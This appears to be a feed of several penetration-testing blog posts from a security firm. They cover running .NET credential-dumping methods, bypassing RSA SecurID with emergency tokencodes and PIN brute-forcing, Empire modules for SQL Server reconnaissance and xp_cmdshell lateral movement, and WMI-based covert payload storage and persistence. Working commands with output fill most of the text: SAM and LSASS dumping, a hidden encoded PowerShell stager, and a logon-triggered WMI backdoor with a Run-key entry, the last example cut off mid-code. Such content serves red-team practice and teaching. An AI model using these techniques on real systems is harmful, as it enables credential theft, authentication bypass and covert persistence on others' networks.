]]>
For DerbyCon 2017 I released a mini red team toolkit in the form of a .Net DLL named WheresMyImplant.  Since then I’ve been expanding its functionality to continue development on it. As part of the effort I needed a way to quickly execute .NET methods from an existing DLL.  However, to the best of my knowledge there was no nice way of doing that without using PowerShell or .net SmokeTest. So I created RunDotNetDll32 for that purpose.

In this blog I’ll provide an overview of what RunDotNetDll32 does and some common usage examples.

Introduction to RunDotNetDll32

Below is a basic example command showing how to use PowerShell to load the .NET DLL WheresMyImplant.dll so that the DumpSAM() function can be executed to recover local password hashes.

[System.Reflection.Assembly]::Load("WheresMyImplant.dll")
[WheresMyImplant.Implant]::DumpSAM()
[System.Reflection.Assembly]::Unload("WheresMyImplant.dll")

As you can see, PowerShell can be a great medium for executing .NET methods reflectively.  However, this can become a bit cumbersome during testing and isn’t ideal for executing client side.

Enter RunDotNetDll32; this executable has one purpose, to duplicate the functionality of rundll32 for .Net assemblies. Syntactically it is very similar to rundll32.exe. For example, if you wanted to execute the pre-mimikatz trick of locking the workstation and keylogging the winlogon process, it would start with the following command:

rundll32.exe User32.dll,LockWorkStation

Where the syntax is:

rundll32.exe $ASSEMBLY,$ENTRYPOINT $ARGUMENTS

With RunDotNetDll32 the syntax had to be slightly modified to the following:

rundotnetdll32.exe $ASSEMBLY,$NAMESPACE,$CLASS,$METHOD $ARGUMENTS

For example, to run the SAM hashdump from WheresMyImplant you could use the command below:

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Implant,DumpSAM
----------
Namespace: WheresMyImplant
Class: Implant
Method: DumpSAM
Arguments:
----------
[+] Running as SYSTEM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Similarly, the MiniDump method can be run from WheresMyImplant:

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Implant,MiniDump 552,lsass.dmp
----------
Namespace: WheresMyImplant
Class: Implant
Method: MiniDump
Arguments: 552 lsass.dmp
----------
[+] Received Handle: 512
[+] Dump File Created

Enumerating Namespaces, Classes and Methods

It was pointed out to me early on that it’s not intuitive to have to remember every namespace, class, and method in an assembly. So the functionality to list namespaces, classes, and methods was rolled in.

Below are some basic examples:

Listing Namespaces

rundotnetdll32.exe WheresMyImplant.dll list namespaces 

WheresMyImplant

Listing Classes

rundotnetdll32.exe WheresMyImplant.dll list classes

WheresMyImplant
        [TRUNCATED]
        RunCommandPrompt
        ntdll
        LSASecrets
        InjectDll
        MyInstall
        Implant
        BaseSQL
        RunXPCmdShell
        Advapi32
        [TRUNCATED]

Listing Methods

rundotnetdll32.exe WheresMyImplant.dll list methods WheresMyImplant Implant

WheresMyImplant
        Implant
                RunCMD
                RunPowerShell
                RunXpCmdShell
                InjectShellCode
                InjectShellCodeWMIFSB64
                InjectDll
                InjectDllWMIFS
                InjectPeFile
                InjectPeString
                InjectPeWMIFS
                InjectPeWMIFSRemote
                Empire
                Tokenvator
                BypassUac
                DumpLsa
                DumpSAM
                DumpDomainCache
                DumpVault
                DumpVaultCLI
                ReadProcessMemory
                CheckCCNumber
                MiniDump
                PSExec
                WirelessPreSharedKey
                [TRUNCATED]

I made this program for myself and the team, but hopefully it will be useful to blue and red team members developing .NET applications.  If you have any bugs or commits let me know.  Both are welcome.

The post Executing .NET Methods with RunDotNetDll32 appeared first on NetSPI.

]]>
Targeting RSA Emergency Access Tokencodes for Fun and Profit https://www.netspi.com/blog/technical-blog/network-pentesting/targeting-rsa-emergency-access-tokencodes-fun-profit/ Tue, 13 Jun 2017 07:00:08 +0000 https://www.netspi.com/targeting-rsa-emergency-access-tokencodes-fun-profit/ A few months ago, one of my RSA soft token was on the fritz. It refused to work, and I was not able to remote into the client’s network to do an internal project for them. In fiddling with the RSA self-service console, and playing around with the troubleshooting section, I came across this feature called the Emergency Access Tokencode.

The post Targeting RSA Emergency Access Tokencodes for Fun and Profit appeared first on NetSPI.

]]>
SecurID Emergency Access Tokencodes

A few months ago, one of my RSA soft token was on the fritz. It refused to work, and I was not able to remote into the client’s network to do an internal project for them. In fiddling with the RSA self-service console, and playing around with the troubleshooting section, I came across this feature called the Emergency Access Tokencode.

Hmmm I wonder what that is?

The Emergency Access Tokencode (EAT), is a backup code that is randomly generated on the RSA server that works for a set period, typically a week or so. Awesome, I didn’t need my soft token anymore, and I’m on the client network legitimately.

A few weeks later I was on an internal assessment for a PCI internal pen test. The CDE was isolated from the user and server networks via a Jump Host that used, you guessed it, RSA SecureID tokens for a second form of authentication. This is how I used the self-service console to get a legitimate token to bypass the 2FA.

RSA Self-Service Consoles have the option to integrate with LDAP for authentication. I have seen this commonly implemented, despite the potential pitfalls. After compromising a user’s account who had access to the CDE, I was able to log into the RSA console using their Active Directory username and password.

Once inside the console, navigate to the troubleshooting page.

And select the option, “Token is temporarily unavailable or misplaced”

At this point, an Emergency Access Tokencode was issued that was valid for a week.

In this instance, the user was not using a pin with the token, which allowed for direct access. However, this is not always the case though. In instances where there is a pin set, a work around is possible. Within the RSA console, there is a Change PIN field.

Normally a change pin field wouldn’t be particularly interesting, however there are a couple abnormalities to it.

  • The PIN is a finite length
  • The PIN is all numbers
  • The change PIN field is not governed by the standard lockout policy

What does this add up to?

This field is in most instances bruteforceable, and you’re basically guaranteed to get the PIN. The longer the PIN, the more time it takes to brute force. However, if human nature holds true, most of the time users will make a pin that is the minimum length of 4 or 6 character, both of which can be brute forced in a few minutes.

Using Burp Suite’s Intruder Attack, with the Battering ram attack type, we can discover what the current PIN is without changing it.

By sorting attack responses for length, we can find the anomaly, which is from a different error.

Now that we have our backup token and PIN we can now log into any SecureID protected system.

In instances where the Self-Service Console is not integrated into LDAP, and we also were not able to retrieved the saved password from a browser, we still have a one more card to play before we need to move onto social engineering.

Going back to the login page we can see a “Troubleshoot SecureID token” link.

If we follow the link we find a input for a username.

Now, fortunately to avoid a username enumeration vulnerability, RSA returns a question for every username enter, regardless if it is valid.

By default there are three Security Questions, so if you can’t discover the name of their sixth grade teacher, perhaps you can find the name of their maternal grandmother’s first name.

However, with some clever research, we can sometimes find the answer to the user’s security question. If we get the question correct we are then brought to this familiar page.

Where, we can again be issued an Emergency Access Tokencode.

One problem that I have consistently run into, is discovering RSA servers, as they do not seem to register an SPN, nor are they consistently registered in DNS. However, they do often run on the default port of 7004, of which very little else run on as well.

… and Shodan seems to agree.

Additionally, RSA consoles have the default title “Self-Service Console – Home”, which is also searchable.

Placing the RSA console outside the security boundary they are attempting to harden has always been a risky idea. Exposing it to the internet wasn’t a good idea before, it’s an even worse one now.

So about that two factor VPN…

The post Targeting RSA Emergency Access Tokencodes for Fun and Profit appeared first on NetSPI.

]]>
Expanding the Empire with SQL https://www.netspi.com/blog/technical-blog/network-pentesting/expanding-the-empire-with-sql/ Tue, 09 May 2017 07:00:48 +0000 https://www.netspi.com/expanding-the-empire-with-sql/ The core of PowerUpSQL is now in Empire. Let's quickly go over how these modules work in Empire as a few changes had to be made for it to be integrated.

The post Expanding the Empire with SQL appeared first on NetSPI.

]]>
The core of PowerUpSQL is now in Empire.

We have added the following modules to Empire:

  • Get-SQLInstanceDomain
    • powershell/situational_awareness/network/get_sql_instance_domain
  • Get-SQLServerInfo
    • powershell/situational_awareness/network/get_sql_server_info
  • Get-SQLServerDefaultLoginPW
    • powershell/recon/get_sql_server_login_default_pw
  • Get-SQLQuery
    • powershell/collection/get_sql_query
  • Get-SQLColumnSampleData
    • powershell/collection/get_sql_column_sample_data
  • Invoke-SQLOSCmd
    • powershell/lateral_movement/invoke_sqloscmd

Let’s quickly go over how these modules work in Empire as a few changes had to be made for it to be integrated.

Get-SQLInstanceDomain

The first module, Get-SQLInstanceDomain, is used for querying Active Directory for a list of SQL Servers by looking up their SPNs. In Empire, it is used in the following way:

(Empire: NCH9K51L) > usemodule situational_awareness/network/get_sql_instance_domain
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) > options

 Name: Get-SQLInstanceDomain
            Module: powershell/situational_awareness/network/get_sql_instance_domain
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
 @_nullbind
 @0xbadjuju

Description:
 Returns a list of SQL Server instances discovered by
 querying a domain controller for systems with registered
 MSSQL service principal names. The function will default to
 the current user's domain and logon server, but an
 alternative domain controller can be provided. UDP scanning
 of management servers is optional.

Comments:
 https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
 ps1

Options:
Options:

 Name                 Required   Value                     Description
 ----                 --------   -------                   -----------
 UDPTimeOut           False 3                              Timeout in seconds for UDP scans of
                                                           management servers. Longer timeout =
                                                           more accurate.
 Username             False                                SQL Server or domain account to
                                                           authenticate with.
 ComputerName         False                                Computer name to filter for.
 DomainController     False                                Domain controller for Domain and Site
                                                           that you want to query against.
 DomainServiceAccount False                                Domain account to filter for.
 Password             False                                SQL Server or domain account password to
                                                           authenticate with.
 CheckMgmt            False      False                     Performs UDP scan of servers managing
                                                           SQL Server clusters.
 Agent                True       NCH9K51L                  Agent to run module on.

(Empire: powershell/situational_awareness/network/get_sql_instance_domain) > run
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) >
Job started: 2T8P1H
Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
Parsing SQL Server instances from SPNs...
34 instances were found.
ComputerName     : sql-2012.test.local
Instance         : sql-2012.test.local,1433
DomainAccountSid : 15000005210002431346712921821222049996811922073100
DomainAccount    : SQL-2012$
DomainAccountCn  : SQL-2012
Service          : MSSQLSvc
Spn              : MSSQLSvc/sql-2012.test.local:1433
LastLogon        : 2/22/2017 6:51 PM
Description      : VM with SQL Server 2012 installed
...

In some instances, UDP scanning servers with the MSServerClusterMgmtAPI SPN will yield additional result.

(Empire: powershell/situational_awareness/network/get_sql_instance_domain) > set CheckMgmt True
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) > run
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) >
Job started: CYS4KA

Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
Parsing SQL Server instances from SPNs...
Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)...
Performing a UDP scan of management servers to obtain managed SQL Server instances...
Parsing SQL Server instances from the UDP scan...
34 instances were found.
ComputerName     : sql-2012.test.local
Instance         : sql-2012.test.local

ComputerName     : sql-2012.test.local
Instance         : sql-2012.test.local,1433

ComputerName     : sql-2012.test.local
Instance         : sql-2012.test.local,50213
...

Get-SQLServerInfo

The next module, Get-SqlServerInfo, is used for gathering information about each SQL instance. This module, due to PowerShell variable limitations within Empire, can either be used against a single instance or against all instances in the Domain. To run it against a single instance, specify the instance using the Instance parameter.

(Empire: NCH9K51L) > usemodule situational_awareness/network/get_sql_server_info
(Empire: powershell/situational_awareness/network/get_sql_server_info) > options


              Name: Get-SQLServerInfo
            Module: powershell/situational_awareness/network/get_sql_server_info
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
 @_nullbind
 @0xbadjuju

Description:
 Returns basic server and user information from target SQL
 Servers.

Comments:
 https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
 ps1

Options:

 Name     Required    Value                     Description
 ----     --------    -------                   -----------
 Username False                                 SQL Server or domain account to
                                                authenticate with.
 Instance False                                 SQL Server instance to connection to.
 Password False                                 SQL Server or domain account password to
                                                authenticate with.
 Agent    True        NCH9K51L                  Agent to run module on.
 CheckAll False                                 Check all systems retrieved by Get-
                                                SQLInstanceDomain


(Empire: powershell/situational_awareness/network/get_sql_server_info) > set Instance sql-2012.test.local
(Empire: powershell/situational_awareness/network/get_sql_server_info) > run
(Empire: powershell/situational_awareness/network/get_sql_server_info) >
Job started: MY3AH7

ComputerName           : sql-2012.test.local
Instance               : sql-2012
DomainName             : test
ServiceName            : MSSQLSERVER
ServiceAccount         : NT Service\MSSQLSERVER
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 11.0.6248.0
SQLServerMajorVersion  : 2012
SQLServerEdition       : Developer Edition (64-bit)
SQLServerServicePack   : SP3
OSArchitecture         : X64
OsMachineType          : WinNT
OSVersionName          : Windows 10 Pro
OsVersionNumber        : 6.3
Currentlogin           : test\user
IsSysadmin             : Yes
ActiveSessions         : 0

To query all instances of SQL servers in the Domain, set the CheckAll flag to true. This will run Get-SqlInstanceDomain and pipe the results into Get-SqlServerInfo.

(Empire: powershell/situational_awareness/network/get_sql_server_info) > set CheckAll True
(Empire: powershell/situational_awareness/network/get_sql_server_info) > run
(Empire: powershell/situational_awareness/network/get_sql_server_info) >
Job started: 7KDR1S

ComputerName           : sql-2012.test.local
Instance               : sql-2012
DomainName             : test
ServiceName            : MSSQLSERVER
ServiceAccount         : NT Service\MSSQLSERVER
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 11.0.6248.0
SQLServerMajorVersion  : 2012
SQLServerEdition       : Developer Edition (64-bit)
SQLServerServicePack   : SP3
OSArchitecture         : X64
OsMachineType          : WinNT
OSVersionName          : Windows 10 Pro
OsVersionNumber        : 6.3
Currentlogin           : test\user
IsSysadmin             : Yes
ActiveSessions         : 0

ComputerName           : sqlexpress.test.local
Instance               : sqlexpress\SQLEXPRESS
DomainName             : test
ServiceName            : MSSQL$SQLEXPRESS
ServiceAccount         : NT Service\MSSQL$SQLEXPRESS
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 12.0.5540.0
SQLServerMajorVersion  : 2014
SQLServerEdition       : Express Edition (64-bit)
SQLServerServicePack   : SP2
OSArchitecture         : X64
OsMachineType          :
OSVersionName          :
OsVersionNumber        : 6.3
Currentlogin           : test\user
IsSysadmin             : No
ActiveSessions         : 0
...

Get-SqlServerDefaultLoginPW

The module Get-SqlServerDefaultLoginPW will scan the Domain for default SQL server logins. As with the other modules, this one also supports the CheckAll flag to run across the Domain.

(Empire: powershell/recon/get_sql_server_login_default_pw) > usemodule powershell/recon/get_sql_server_login_default_pw
(Empire: powershell/recon/get_sql_server_login_default_pw) > options

              Name: Get-SQLServerLoginDefaultPw
            Module: powershell/recon/get_sql_server_login_default_pw
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  @_nullbind
  @0xbadjuju

Description:
  Based on the instance name, test if SQL Server is configured
  with default passwords.

Comments:
  https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
  ps1 https://github.com/pwnwiki/pwnwiki.github.io/blob/master
  /tech/db/mssql.md

Options:

  Name     Required    Value                     Description
  ----     --------    -------                   -----------
  Username False                                 SQL Server or domain account to
                                                 authenticate with. Only used for
                                                 CheckAll
  Instance False                                 SQL Server instance to connection to.
  Password False                                 SQL Server or domain account password to
                                                 authenticate with. Only used for
                                                 CheckAll
  Agent    True        NCH9K51L                  Agent to run module on.
  CheckAll False                                 Check all systems retrieved by Get-
                                                 SQLInstanceDomain.

(Empire: powershell/recon/get_sql_server_login_default_pw) > set Instance sqlexpress.test.local\SQLEXPRESS
(Empire: powershell/recon/get_sql_server_login_default_pw) > run
(Empire: powershell/recon/get_sql_server_login_default_pw) >
Job started: RMNTG5

sql-2012.test.local\sqlexpress : Confirmed instance match.
sql-2012.test.local\sqlexpress : Confirmed default credentials - admin/ca_admin
Computer   : sqlexpress.test.local
Instance   : sqlexpress.test.local\SQLEXPRESS
Username   : admin
Password   : ca_admin
IsSysAdmin : No

Get-SqlQuery

The next module, Get-SqlQuery, will preform a generic SQL query on the specified instance. It is used in the following way:

(Empire: NCH9K51L) > usemodule collection/get_sql_query
(Empire: powershell/collection/get_sql_query) > options

              Name: Get-SQLQuery
            Module: powershell/collection/get_sql_query
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  @_nullbind
  @0xbadjuju

Description:
  Executes a query on target SQL servers.

Comments:
  https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
  ps1

Options:

  Name     Required    Value                     Description
  ----     --------    -------                   -----------
  Username False                                 SQL Server or domain account to
                                                 authenticate with.
  Instance False                                 SQL Server instance to connection to.
  Password False                                 SQL Server or domain account password to
                                                 authenticate with.
  Agent    True        NCH9K51L                  Agent to run module on.
  Query    True                                  Query to be executed on the SQL Server.

(Empire: powershell/collection/get_sql_query) > set Instance sql-2012.test.local
(Empire: powershell/collection/get_sql_query) > set Query SELECT @@VERSION
(Empire: powershell/collection/get_sql_query) > run
(Empire: powershell/collection/get_sql_query) >
Job started: PDAHEY

sql-2012.test.local : Connection Success.
Microsoft SQL Server 2012 (SP3-GDR) (KB3194721) - 11.0.6248.0 (X64)
        Sep 23 2016 15:49:43
        Copyright (c) Microsoft Corporation
        Developer Edition (64-bit) on Windows NT 6.3  (Build 14393: )

Get-SqlColumnSampleData

The next module is one of the most powerful modules within PowerUpSQL. Get-SqlColumnSampleData queries databases for columns and then based upon keywords, pulls down column data for analysis. This module has been particularly useful on PCI engagements to search for plain text credit card info. It is generally recommended to just run this module against all instances.

(Empire: NCH9K51L) > usemodule powershell/collection/get_sql_column_sample_data
(Empire: powershell/collection/get_sql_column_sample_data) > options

              Name: Get-SQLColumnSampleData
            Module: powershell/collection/get_sql_column_sample_data
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  @_nullbind
  @0xbadjuju

Description:
  Returns column information from target SQL Servers. Supports
  search by keywords, sampling data, and validating credit
  card numbers.

Comments:
  https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
  ps1

Options:

  Name       Required    Value                     Description
  ----       --------    -------                   -----------
  Username   False                                 SQL Server or domain account to
                                                   authenticate with.
  CheckAll   False                                 Check all systems retrieved by Get-
                                                   SQLInstanceDomain.
  NoDefaults False                                 Don't select tables from default
                                                   databases.
  Agent      True        NCH9K51L                  Agent to run module on.
  Instance   False                                 SQL Server instance to connection to.
  Password   False                                 SQL Server or domain account password to
                                                   authenticate with.


(Empire: powershell/collection/get_sql_column_sample_data) > set Instance sql-2012.test.local
(Empire: powershell/collection/get_sql_column_sample_data) > set NoDefaults True
(Empire: powershell/collection/get_sql_column_sample_data) > run
(Empire: powershell/collection/get_sql_column_sample_data) >
Job started: PR61EX

sql-2012.test.local : START SEARCH DATA BY COLUMN
sql-2012.test.local : - Connection Success.
sql-2012.test.local : - Searching for column names that match criteria...
sql-2012.test.local : - No columns were found that matched the search.
sql-2012.test.local : END SEARCH DATA BY COLUMN

Hopefully your results are better.

Invoke-SqlOsCmd

Now for the party favorite, Invoke-SqlOsCmd. This leverages xp_cmdshell to run commands on the remote system in the context of the SQL Server user.

(Empire: NCH9K51L) > usemodule powershell/lateral_movement/invoke_sqloscmd
(Empire: powershell/lateral_movement/invoke_sqloscmd) > options

              Name: Invoke-SQLOSCMD
            Module: powershell/lateral_movement/invoke_sqloscmd
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  @nullbind
  @0xbadjuju

Description:
  Executes a command or stager on remote hosts using
  xp_cmdshell.

Options:

  Name       Required    Value                     Description
  ----       --------    -------                   -----------
  Listener   False                                 Listener to use.
  CredID     False                                 CredID from the store to use.
  Command    False                                 Custom command to execute on remote
                                                   hosts.
  Proxy      False       default                   Proxy to use for request (default, none,
                                                   or other).
  UserName   False                                 [domain\]username to use to execute
                                                   command.
  Instance   True                                  Host[s] to execute the stager on, comma
                                                   separated.
  UserAgent  False       default                   User-agent string to use for the staging
                                                   request (default, none, or other).
  ProxyCreds False       default                   Proxy credentials
                                                   ([domain\]username:password) to use for
                                                   request (default, none, or other).
  Password   False                                 Password to use to execute command.
  Agent      True        NCH9K51L                  Agent to run module on.

This module has two methods for running. The first is to simply run a user specified command on the remote system.

(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Instance sql-2012.test.local
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Command whoami
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
Job started: 6KVEUC

sql-2012.test.local : Connection Success.
sql-2012.test.local : You are a sysadmin.
sql-2012.test.local : Show Advanced Options is disabled.
sql-2012.test.local : Enabled Show Advanced Options.
sql-2012.test.local : xp_cmdshell is disabled.
sql-2012.test.local : Enabled xp_cmdshell.
sql-2012.test.local : Running command: whoami

nt service\mssqlserver

sql-2012.test.local : Disabling xp_cmdshell
sql-2012.test.local : Disabling Show Advanced Options
However, this is the Empire, why not just place an agent on the remote system? Well we can natively do that as well.

(Empire: powershell/lateral_movement/invoke_sqloscmd) > unset Command
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Listener http
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
Job started: X3U26K
[+] Initial agent 59BNMXTA from 192.168.1.195 now active

sql-2012.test.local : Connection Success.
sql-2012.test.local : You are a sysadmin.
sql-2012.test.local : Show Advanced Options is disabled.
sql-2012.test.local : Enabled Show Advanced Options.
sql-2012.test.local : xp_cmdshell is disabled.
sql-2012.test.local : Enabled xp_cmdshell.
sql-2012.test.local : Running command: C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden -Enc [TRUNCATED]

sql-2012.test.local : Disabling xp_cmdshell
sql-2012.test.local : Disabling Show Advanced Options

(Empire: powershell/lateral_movement/invoke_sqloscmd) >

SELECT * FROM PowerUpSQL WHERE dark_side > light_side;

In the future, as we add modules to PowerUpSQL, we expect to continue to add them to Empire as well.

The post Expanding the Empire with SQL appeared first on NetSPI.

]]>
Getting Started with WMI Weaponization – Part 6 https://www.netspi.com/blog/technical-blog/adversary-simulation/getting-started-wmi-weaponization-part-6/ Thu, 20 Apr 2017 07:00:29 +0000 https://www.netspi.com/getting-started-wmi-weaponization-part-6/ Lets look at another practical example of weaponizing WMI using PowerShell. Earlier we went over how to create a custom WMI class. Using this class along with the Set-WmiInstance command we can create a class that we can then use to store files as Base64 Encoded strings.

The post Getting Started with WMI Weaponization – Part 6 appeared first on NetSPI.

]]>
Covert File Storage

Lets look at another practical example of weaponizing WMI using PowerShell. Earlier we went over how to create a custom WMI class. Using this class along with the Set-WmiInstance command we can create a class that we can then use to store files as Base64 Encoded strings.

To simplify this process, I created a module called Invoke-WMIFS.ps1. To start we will import the module:

PS C:\> Import-Module Invoke-WMIFS.ps1

This module provides the following functions:

  • Get-WmiLength
  • New-WmiClass
  • ConvertTo-Base64
  • ConvertFrom-Base64
  • Invoke-InsertFile
  • Invoke-RetrieveFile

To start, we use the function New-WmiClass to create a class that is preconfigured to store the files.

PS C:\> $ClassName = "WMIFS"
PS C:\> New-WmiClass -ClassName $ClassName

Path          : \\.\root\cimv2:WMIFS
RelativePath  : WMIFS
Server        : .
NamespacePath : root\cimv2
ClassName     : WMIFS
IsClass       : True
IsInstance    : False
IsSingleton   : False

PS C:\> Get-CimClass -ClassName $ClassName

 NameSpace: ROOT/cimv2
CimClassName CimClassMethods CimClassProperties
------------ --------------- ------------------
WMIFS        {}              {FileName, FileStore, Index}

This new class has three properties: FileStore, FileName, and Index.

We then use the function Get-WmiLength to retrieve the max length of a string that can be inserted into the class. This can vary somewhat and should be discovered each time.

PS C:\> $Length = Get-WmiLength -Verbose -ClassName $ClassName
VERBOSE: Testing Length 8000
[TRUNCATED]
VERBOSE: Testing Length 8143
Set-WmiInstance : Quota violation
At C:\Invoke-WMIFS.ps1:19 char:27
+ ... $Insert = Set-WmiInstance -Class $ClassName -Arguments @{
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 + CategoryInfo : InvalidOperation: (:) [Set-WmiInstance], ManagementException
 + FullyQualifiedErrorId : SetWMIManagementException,Microsoft.PowerShell.Commands.SetWmiInstance

PS C:\> $Length
8143

In this test we are looking for WMI to throw a Quota Violation indicating the string is too long to be inserted.

In this example, we are inserting an executable file, and for this we use the ConvertTo-Base64 function.

PS C:\> $FileName = "payload.exe"
PS C:\> $EncodedText = ConvertTo-Base64 -FileName $FileName -Verbose
VERBOSE: Reading C:\Windows\System32\payload.exe
VERBOSE: Encoding C:\Windows\System32\payload.exe
VERBOSE: Finished Encoding C:\Windows\System32\payload.exe

Then to place the file into out WMIFS WMI class we use the Invoke-InsertFile function. This will slice the file into lengths predetermined by Get-WmiLength and place the chunks into the class we created.

PS C:\> Invoke-InsertFile -EncodedText $EncodedText -FileName $FileName -ClassName $ClassName -StrLen $Length -Verbose
VERBOSE: Inserting Section: 0 to 8100
[TRUNCATED]
VERBOSE: Inserting Section: 1927800 to 1935900

To later retrieve the file, we use the Invoke-RetrieveFile, which operates Invoke-InsertFile in reverse. It will retrieve the file from WMI and then reassemble it in order.

PS C:\> $File = Invoke-RetrieveFile -FileName $FileName -ClassName $ClassName -Verbose3
VERBOSE: Reading Section 0 (8100) 
[TRUNCATED] 
VERBOSE: Reading Section 238 (7468)

Then to write the file back to disk, we use the ConvertFrom-Base64 function.

PS C:\> ConvertFrom-Base64 -EncodedText $File -FileName 'C:\innocuous.pdf' -Verbose
VERBOSE: Decoding File
VERBOSE: Finished Decoding File
VERBOSE: Writing File to Disk as C:\innocuous.pdf

Additionally, the option to use the pipeline and encrypt the file store is available. By default, it uses the current user’s certificate as the encryption key, but optionally a key can be explicitly specified.

PS C:\> ConvertTo-Base64 -FileName .\SuperSecret.pdf -Verbose | Invoke-InsertFile -FileName SuperSecret.pdf -ClassName WMIFS -Encrypt -Verbose
VERBOSE: Reading .\SuperSecret.pdf
VERBOSE: Encoding .\SuperSecret.pdf
VERBOSE: Finished Encoding .\SuperSecret.pdf
VERBOSE: Inserting Section: 0 to 1904 (0)
VERBOSE: Inserting Section: 1904 to 3808 (1)
VERBOSE: Inserting Section: 3808 to 5712 (2)
VERBOSE: Inserting Section: 5712 to 7616 (3)
...

Later the file can be retrieved and decrypted.

PS C:\> Invoke-RetrieveFile -FileName SuperSecret.pdf -ClassName WMIFS -Decrypt -Verbose | ConvertFrom-Base64 -WriteToDisk -FileName .\SuperSecret.pdf
VERBOSE: Reading Section 0 (7908)
VERBOSE: Reading Section 1 (7908)
VERBOSE: Reading Section 2 (7908)
VERBOSE: Reading Section 3 (7908) 
...

The post Getting Started with WMI Weaponization – Part 6 appeared first on NetSPI.

]]>
Getting Started with WMI Weaponization – Part 5 https://www.netspi.com/blog/technical-blog/adversary-simulation/getting-started-wmi-weaponization-part-5/ Tue, 18 Apr 2017 07:00:43 +0000 https://www.netspi.com/getting-started-wmi-weaponization-part-5/ Like SQL, WMI can be setup with a set of Triggers. We can use these triggers to maintain persistence on a system by launching commands after a specified event is detected. These are stored in the root/subscription namespace and fall into two broad categories, Intrinsic Events and Extrinsic Events.

The post Getting Started with WMI Weaponization – Part 5 appeared first on NetSPI.

]]>
Establishing Persistence with WMI

Like SQL, WMI can be setup with a set of Triggers. We can use these triggers to maintain persistence on a system by launching commands after a specified event is detected. These are stored in the root/subscription namespace and fall into two broad categories, Intrinsic Events and Extrinsic Events.

Intrinsic Events

Intrinsic events work off a polling rate, wherein WMI polls the Windows Event Tracer at a set interval, checking if an event has occurred. The WMI polling must occur while the event is occurring or else WMI will miss the event and not trigger. Due to this, WMI triggers with an insufficient polling rate have the potential to miss events.

Extrinsic Events

Extrinsic Events, instead of working off a polling rate where the event is pulled into WMI, have the event pushed into WMI. Due to this, the trigger will not miss the event. While Extrinsic events are more reliable, there are also far fewer events that trigger this way.

Breakdown of Triggering

WMI triggers consist of three parts:

  1. Filter
  2. Consumer
  3. Binding

Let’s look at an example of an intrinsic event similar to what is in the awesome PowerLurk WMI persistence script:

Filter

The filter looks for the triggering event.

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
       EventNamespace = 'root/cimv2'
       Name = "Backdoor Logon Filter"
       Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
       QueryLanguage = 'WQL'
}

In this example, we use the Set-WmiInstance commandlet to create a new instance of an EventFilter in the root\subscription namespace. In this we define a query that polls from the InstanceCreationEvent class looking for an Instance that matches the Win32_LoggedOnUser class. The polling rate is defined in the WITHIN 10 clause.

Consumer

The consumer is launched upon the successful match of a filter. Now let’s look at an example consumer:

$command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value texttext"
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
       Name = "Backdoor Consumer"
       CommandLineTemplate = $Command
}

In this example, we create an instance within the CommandLineEventConsumer class which is also located in the root\subscription namespace. This type of consumer can execute a series of commands on the command line.

Binding

Now let’s examine a binding

Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{
       Filter = $Filter
       Consumer = $Consumer
}

A binding takes an EventFilter and ties it to a consumer that is executed whenever the filter is matched. This entire sequence of events will look for a user logon event and then afterwords execute a command. In this instance, we just created a file, however a more imaginative attacker could do far more interesting things.

The previous was an example of an Intrinsic event. Let’s now examine a slightly more complicated example that uses and Extrinsic event.

$Path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
$Name = "Registry Backdoor"
$Value = "C:\evil.exe"
$Command = "powershell.exe -Command Set-ItemProperty $path -Name $name -Value $value"

$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{
       EventNamespace = 'root/cimv2'
       Name = "Backdoor Registry Filter"
